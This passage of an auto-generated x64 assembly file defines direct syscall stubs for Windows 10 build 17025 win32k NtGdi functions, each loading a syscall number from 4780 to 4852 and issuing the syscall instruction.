; ULONG64 __stdcall NtGdiGetGlyphIndicesW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetGlyphIndicesW PROC STDCALL
mov r10 , rcx
mov eax , 4780
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetGlyphIndicesW ENDP
; ULONG64 __stdcall NtGdiGetGlyphIndicesWInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetGlyphIndicesWInternal PROC STDCALL
mov r10 , rcx
mov eax , 4781
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetGlyphIndicesWInternal ENDP
; ULONG64 __stdcall NtGdiGetGlyphOutline( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetGlyphOutline PROC STDCALL
mov r10 , rcx
mov eax , 4782
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetGlyphOutline ENDP
; ULONG64 __stdcall NtGdiGetKerningPairs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetKerningPairs PROC STDCALL
mov r10 , rcx
mov eax , 4783
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetKerningPairs ENDP
; ULONG64 __stdcall NtGdiGetLinkedUFIs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetLinkedUFIs PROC STDCALL
mov r10 , rcx
mov eax , 4784
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetLinkedUFIs ENDP
; ULONG64 __stdcall NtGdiGetMiterLimit( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetMiterLimit PROC STDCALL
mov r10 , rcx
mov eax , 4785
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetMiterLimit ENDP
; ULONG64 __stdcall NtGdiGetMonitorID( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetMonitorID PROC STDCALL
mov r10 , rcx
mov eax , 4786
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetMonitorID ENDP
; ULONG64 __stdcall NtGdiGetNumberOfPhysicalMonitors( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetNumberOfPhysicalMonitors PROC STDCALL
mov r10 , rcx
mov eax , 4787
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetNumberOfPhysicalMonitors ENDP
; ULONG64 __stdcall NtGdiGetOPMInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetOPMInformation PROC STDCALL
mov r10 , rcx
mov eax , 4788
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetOPMInformation ENDP
; ULONG64 __stdcall NtGdiGetOPMRandomNumber( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetOPMRandomNumber PROC STDCALL
mov r10 , rcx
mov eax , 4789
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetOPMRandomNumber ENDP
; ULONG64 __stdcall NtGdiGetObjectBitmapHandle( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetObjectBitmapHandle PROC STDCALL
mov r10 , rcx
mov eax , 4790
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetObjectBitmapHandle ENDP
; ULONG64 __stdcall NtGdiGetPath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPath PROC STDCALL
mov r10 , rcx
mov eax , 4791
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPath ENDP
; ULONG64 __stdcall NtGdiGetPerBandInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPerBandInfo PROC STDCALL
mov r10 , rcx
mov eax , 4792
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPerBandInfo ENDP
; ULONG64 __stdcall NtGdiGetPhysicalMonitorDescription( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPhysicalMonitorDescription PROC STDCALL
mov r10 , rcx
mov eax , 4793
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPhysicalMonitorDescription ENDP
; ULONG64 __stdcall NtGdiGetPhysicalMonitors( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPhysicalMonitors PROC STDCALL
mov r10 , rcx
mov eax , 4794
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPhysicalMonitors ENDP
; ULONG64 __stdcall NtGdiGetProcessSessionFonts( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetProcessSessionFonts PROC STDCALL
mov r10 , rcx
mov eax , 4795
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetProcessSessionFonts ENDP
; ULONG64 __stdcall NtGdiGetPublicFontTableChangeCookie( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPublicFontTableChangeCookie PROC STDCALL
mov r10 , rcx
mov eax , 4796
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPublicFontTableChangeCookie ENDP
; ULONG64 __stdcall NtGdiGetRealizationInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetRealizationInfo PROC STDCALL
mov r10 , rcx
mov eax , 4797
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetRealizationInfo ENDP
; ULONG64 __stdcall NtGdiGetServerMetaFileBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetServerMetaFileBits PROC STDCALL
mov r10 , rcx
mov eax , 4798
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetServerMetaFileBits ENDP
; ULONG64 __stdcall NtGdiGetSpoolMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetSpoolMessage PROC STDCALL
mov r10 , rcx
mov eax , 4799
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetSpoolMessage ENDP
; ULONG64 __stdcall NtGdiGetStats( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetStats PROC STDCALL
mov r10 , rcx
mov eax , 4800
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetStats ENDP
; ULONG64 __stdcall NtGdiGetStringBitmapW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetStringBitmapW PROC STDCALL
mov r10 , rcx
mov eax , 4801
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetStringBitmapW ENDP
; ULONG64 __stdcall NtGdiGetSuggestedOPMProtectedOutputArraySize( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetSuggestedOPMProtectedOutputArraySize PROC STDCALL
mov r10 , rcx
mov eax , 4802
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetSuggestedOPMProtectedOutputArraySize ENDP
; ULONG64 __stdcall NtGdiGetTextExtentExW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTextExtentExW PROC STDCALL
mov r10 , rcx
mov eax , 4803
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTextExtentExW ENDP
; ULONG64 __stdcall NtGdiGetUFI( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetUFI PROC STDCALL
mov r10 , rcx
mov eax , 4804
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetUFI ENDP
; ULONG64 __stdcall NtGdiGetUFIPathname( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetUFIPathname PROC STDCALL
mov r10 , rcx
mov eax , 4805
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetUFIPathname ENDP
; ULONG64 __stdcall NtGdiGradientFill( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGradientFill PROC STDCALL
mov r10 , rcx
mov eax , 4806
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGradientFill ENDP
; ULONG64 __stdcall NtGdiHLSurfGetInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiHLSurfGetInformation PROC STDCALL
mov r10 , rcx
mov eax , 4807
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiHLSurfGetInformation ENDP
; ULONG64 __stdcall NtGdiHLSurfSetInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiHLSurfSetInformation PROC STDCALL
mov r10 , rcx
mov eax , 4808
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiHLSurfSetInformation ENDP
; ULONG64 __stdcall NtGdiHT_Get8BPPFormatPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiHT_Get8BPPFormatPalette PROC STDCALL
mov r10 , rcx
mov eax , 4809
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiHT_Get8BPPFormatPalette ENDP
; ULONG64 __stdcall NtGdiHT_Get8BPPMaskPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiHT_Get8BPPMaskPalette PROC STDCALL
mov r10 , rcx
mov eax , 4810
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiHT_Get8BPPMaskPalette ENDP
; ULONG64 __stdcall NtGdiIcmBrushInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiIcmBrushInfo PROC STDCALL
mov r10 , rcx
mov eax , 4811
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiIcmBrushInfo ENDP
; ULONG64 __stdcall NtGdiInit( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiInit PROC STDCALL
mov r10 , rcx
mov eax , 4812
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiInit ENDP
; ULONG64 __stdcall NtGdiInitSpool( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiInitSpool PROC STDCALL
mov r10 , rcx
mov eax , 4813
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiInitSpool ENDP
; ULONG64 __stdcall NtGdiMakeFontDir( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMakeFontDir PROC STDCALL
mov r10 , rcx
mov eax , 4814
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMakeFontDir ENDP
; ULONG64 __stdcall NtGdiMakeInfoDC( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMakeInfoDC PROC STDCALL
mov r10 , rcx
mov eax , 4815
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMakeInfoDC ENDP
; ULONG64 __stdcall NtGdiMakeObjectUnXferable( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMakeObjectUnXferable PROC STDCALL
mov r10 , rcx
mov eax , 4816
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMakeObjectUnXferable ENDP
; ULONG64 __stdcall NtGdiMakeObjectXferable( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMakeObjectXferable PROC STDCALL
mov r10 , rcx
mov eax , 4817
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMakeObjectXferable ENDP
; ULONG64 __stdcall NtGdiMirrorWindowOrg( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMirrorWindowOrg PROC STDCALL
mov r10 , rcx
mov eax , 4818
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMirrorWindowOrg ENDP
; ULONG64 __stdcall NtGdiMonoBitmap( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMonoBitmap PROC STDCALL
mov r10 , rcx
mov eax , 4819
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMonoBitmap ENDP
; ULONG64 __stdcall NtGdiMoveTo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMoveTo PROC STDCALL
mov r10 , rcx
mov eax , 4820
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMoveTo ENDP
; ULONG64 __stdcall NtGdiOffsetClipRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiOffsetClipRgn PROC STDCALL
mov r10 , rcx
mov eax , 4821
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiOffsetClipRgn ENDP
; ULONG64 __stdcall NtGdiPATHOBJ_bEnum( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPATHOBJ_bEnum PROC STDCALL
mov r10 , rcx
mov eax , 4822
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPATHOBJ_bEnum ENDP
; ULONG64 __stdcall NtGdiPATHOBJ_bEnumClipLines( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPATHOBJ_bEnumClipLines PROC STDCALL
mov r10 , rcx
mov eax , 4823
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPATHOBJ_bEnumClipLines ENDP
; ULONG64 __stdcall NtGdiPATHOBJ_vEnumStart( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPATHOBJ_vEnumStart PROC STDCALL
mov r10 , rcx
mov eax , 4824
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPATHOBJ_vEnumStart ENDP
; ULONG64 __stdcall NtGdiPATHOBJ_vEnumStartClipLines( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPATHOBJ_vEnumStartClipLines PROC STDCALL
mov r10 , rcx
mov eax , 4825
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPATHOBJ_vEnumStartClipLines ENDP
; ULONG64 __stdcall NtGdiPATHOBJ_vGetBounds( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPATHOBJ_vGetBounds PROC STDCALL
mov r10 , rcx
mov eax , 4826
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPATHOBJ_vGetBounds ENDP
; ULONG64 __stdcall NtGdiPathToRegion( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPathToRegion PROC STDCALL
mov r10 , rcx
mov eax , 4827
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPathToRegion ENDP
; ULONG64 __stdcall NtGdiPlgBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPlgBlt PROC STDCALL
mov r10 , rcx
mov eax , 4828
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPlgBlt ENDP
; ULONG64 __stdcall NtGdiPolyDraw( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPolyDraw PROC STDCALL
mov r10 , rcx
mov eax , 4829
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPolyDraw ENDP
; ULONG64 __stdcall NtGdiPolyTextOutW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPolyTextOutW PROC STDCALL
mov r10 , rcx
mov eax , 4830
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPolyTextOutW ENDP
; ULONG64 __stdcall NtGdiPtInRegion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPtInRegion PROC STDCALL
mov r10 , rcx
mov eax , 4831
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPtInRegion ENDP
; ULONG64 __stdcall NtGdiPtVisible( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPtVisible PROC STDCALL
mov r10 , rcx
mov eax , 4832
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPtVisible ENDP
; ULONG64 __stdcall NtGdiQueryFonts( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiQueryFonts PROC STDCALL
mov r10 , rcx
mov eax , 4833
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiQueryFonts ENDP
; ULONG64 __stdcall NtGdiRemoveFontResourceW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRemoveFontResourceW PROC STDCALL
mov r10 , rcx
mov eax , 4834
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRemoveFontResourceW ENDP
; ULONG64 __stdcall NtGdiRemoveMergeFont( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRemoveMergeFont PROC STDCALL
mov r10 , rcx
mov eax , 4835
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRemoveMergeFont ENDP
; ULONG64 __stdcall NtGdiResetDC( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiResetDC PROC STDCALL
mov r10 , rcx
mov eax , 4836
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiResetDC ENDP
; ULONG64 __stdcall NtGdiResizePalette( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiResizePalette PROC STDCALL
mov r10 , rcx
mov eax , 4837
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiResizePalette ENDP
; ULONG64 __stdcall NtGdiRoundRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRoundRect PROC STDCALL
mov r10 , rcx
mov eax , 4838
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRoundRect ENDP
; ULONG64 __stdcall NtGdiSTROBJ_bEnum( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSTROBJ_bEnum PROC STDCALL
mov r10 , rcx
mov eax , 4839
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSTROBJ_bEnum ENDP
; ULONG64 __stdcall NtGdiSTROBJ_bEnumPositionsOnly( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSTROBJ_bEnumPositionsOnly PROC STDCALL
mov r10 , rcx
mov eax , 4840
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSTROBJ_bEnumPositionsOnly ENDP
; ULONG64 __stdcall NtGdiSTROBJ_bGetAdvanceWidths( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSTROBJ_bGetAdvanceWidths PROC STDCALL
mov r10 , rcx
mov eax , 4841
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSTROBJ_bGetAdvanceWidths ENDP
; ULONG64 __stdcall NtGdiSTROBJ_dwGetCodePage( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSTROBJ_dwGetCodePage PROC STDCALL
mov r10 , rcx
mov eax , 4842
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSTROBJ_dwGetCodePage ENDP
; ULONG64 __stdcall NtGdiSTROBJ_vEnumStart( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSTROBJ_vEnumStart PROC STDCALL
mov r10 , rcx
mov eax , 4843
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSTROBJ_vEnumStart ENDP
; ULONG64 __stdcall NtGdiScaleRgn( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiScaleRgn PROC STDCALL
mov r10 , rcx
mov eax , 4844
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiScaleRgn ENDP
; ULONG64 __stdcall NtGdiScaleValues( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiScaleValues PROC STDCALL
mov r10 , rcx
mov eax , 4845
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiScaleValues ENDP
; ULONG64 __stdcall NtGdiScaleViewportExtEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiScaleViewportExtEx PROC STDCALL
mov r10 , rcx
mov eax , 4846
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiScaleViewportExtEx ENDP
; ULONG64 __stdcall NtGdiScaleWindowExtEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiScaleWindowExtEx PROC STDCALL
mov r10 , rcx
mov eax , 4847
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiScaleWindowExtEx ENDP
; ULONG64 __stdcall NtGdiSelectBrush( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSelectBrush PROC STDCALL
mov r10 , rcx
mov eax , 4848
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSelectBrush ENDP
; ULONG64 __stdcall NtGdiSelectClipPath( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSelectClipPath PROC STDCALL
mov r10 , rcx
mov eax , 4849
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSelectClipPath ENDP
; ULONG64 __stdcall NtGdiSelectPen( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSelectPen PROC STDCALL
mov r10 , rcx
mov eax , 4850
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSelectPen ENDP
; ULONG64 __stdcall NtGdiSetBitmapAttributes( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBitmapAttributes PROC STDCALL
mov r10 , rcx
mov eax , 4851
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBitmapAttributes ENDP
; ULONG64 __stdcall NtGdiSetBrushAttributes( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBrushAttributes PROC STDCALL
mov r10 , rcx
mov eax , 4852
;syscall
db 0Fh , 05h
ret
